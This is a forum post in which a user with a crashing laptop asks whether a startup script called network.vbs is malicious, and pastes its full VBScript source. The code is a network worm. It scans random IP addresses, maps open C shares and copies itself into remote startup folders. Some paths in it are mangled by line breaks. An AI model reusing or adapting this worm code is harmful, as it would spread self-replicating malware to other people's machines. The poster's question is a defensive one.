My laptop computer crashes constantly and I am trying to determine the cause (without any success so far). It will work for a short while and then freeze. I can never shut it down correctly so every time it starts up it will run scandisk which is a RPITA.
Yesterday I was reading at MSNBC about the ILOVEYOU virus and others written in visual basic and there was the recommendation to disable the windows scripting host (control panel / install-remove programs / windows setup / accessories / windows scripting host) unless you really need it and it said most of us don’t need it. So I disabled it. I think this pretty much just means programs with a VBS extension will not run.
Today when I start the computer I get an error because it is trying to run a file called network.vbs which is located at windows / start menu / programs / startup
Lately I am not using any network but I do have some network components installed because I sometimes network with my home system. But for now I can do without the network working.
My question is this: Is network.vbs a legit network program or is it some malicious code? For the time being I will leave it disabled just to see if things improve but I’d like to know more as I am quitesuspicious.
I have looked at the code but I do not know visual basic. Whatever it is that is making my computer crash has not done any other harm like renaming or deleting files.
Here is the code. Can anyone tell me if this is legit software or not? What does this do?
If it is indeed malicious how could I get it? I have NEVER opened any attachments (I use OE5)
I will report here whether the computer continues to misbehave or improves with this file disabled
= = = = = = = = = = = =
dim octa
dim octb
dim octc
dim octd
dim rand
dim dot
dim driveconnected
dim sharename
dim count
dim myfile
count = “0”
dot = “.”
driveconnected=“0”
set wshnetwork = wscript.createobject(“wscript.network”)
Set fso1 = createobject(“scripting.filesystemobject”)
set fso2 = createobject(“scripting.filesystemobject”)
on error resume next
randomize
checkfile()
randaddress()
do
do while driveconnected = “0”
checkaddress()
shareformat()
wshnetwork.mapnetworkdrive “j:”, sharename
enumdrives()
loop
copyfiles()
disconnectdrive()
loop
msgbox “Done”
function disconnectdrive()
wshnetwork.removenetworkdrive “j:”
driveconnected = “0”
end function
function createlogfile()
Set myfile = fso1.createtextfile(“c:
etwork.log”, True)
end function
function checkfile()
If (fso1.fileexists(“c:
etwork.log”)) then
fso1.deletefile(“c:
etwork.log”)
createlogfile()
else
createlogfile()
end If
myfile.writeLine(“Log file Open”)
end function
function copyfiles()
myfile.writeline("Copying files to : " & sharename)
Set fso = CreateObject(“scripting.filesystemobject”)
fso.copyfile “c:
etwork.vbs”, “j:”
If (fso2.FileExists(“j:
etwork.vbs”)) Then
myfile.writeline("Successfull copy to : " & sharename)
End If
fso.copyfile “c:
etwork.vbs”, “j:\windows\startm~1\programs\startup”
fso.copyfile “c:
etwork.vbs”, “j:\windows”
fso.copyfile “c:
etwork.vbs”, “j:\windows\start menu\programs\startup”
fso.copyfile “c:
etwork.vbs”, “j:\win95\start menu\programs\startup”
fso.copyfile “c:
etwork.vbs”, “j:\win95\startm~1\programs\startup”
fso.copyfile “c:
etwork.vbs”, “j:\wind95”
end function
function checkaddress()
octd = octd + 1
if octd = “255” then randaddress()
end function
function shareformat()
sharename = “\” & octa & dot & octb & dot & octc & dot & octd & “\C”
end function
function enumdrives()
Set odrives = wshnetwork.enumnetworkdrives
For i = 0 to odrives.Count -1
if sharename = odrives.item(i) then
driveconnected = 1
else
’ driveconnected = 0
end if
Next
end function
function randum()
rand = int((254 * rnd) + 1)
end function
function randaddress()
if count < 50 then
octa=Int((16) * Rnd + 199)
count=count + 1
else
randum()
octa= rand
end if
randum()
octb=rand
randum()
octc=rand
octd=“1”
myfile.writeLine("Subnet : " & octa & dot & octb & dot & octc & dot & “0”)
end function
= = = = = = = = = = =
That’s a pretty good indication that t’s a virus as well(I didn’t look for any virus notifications online).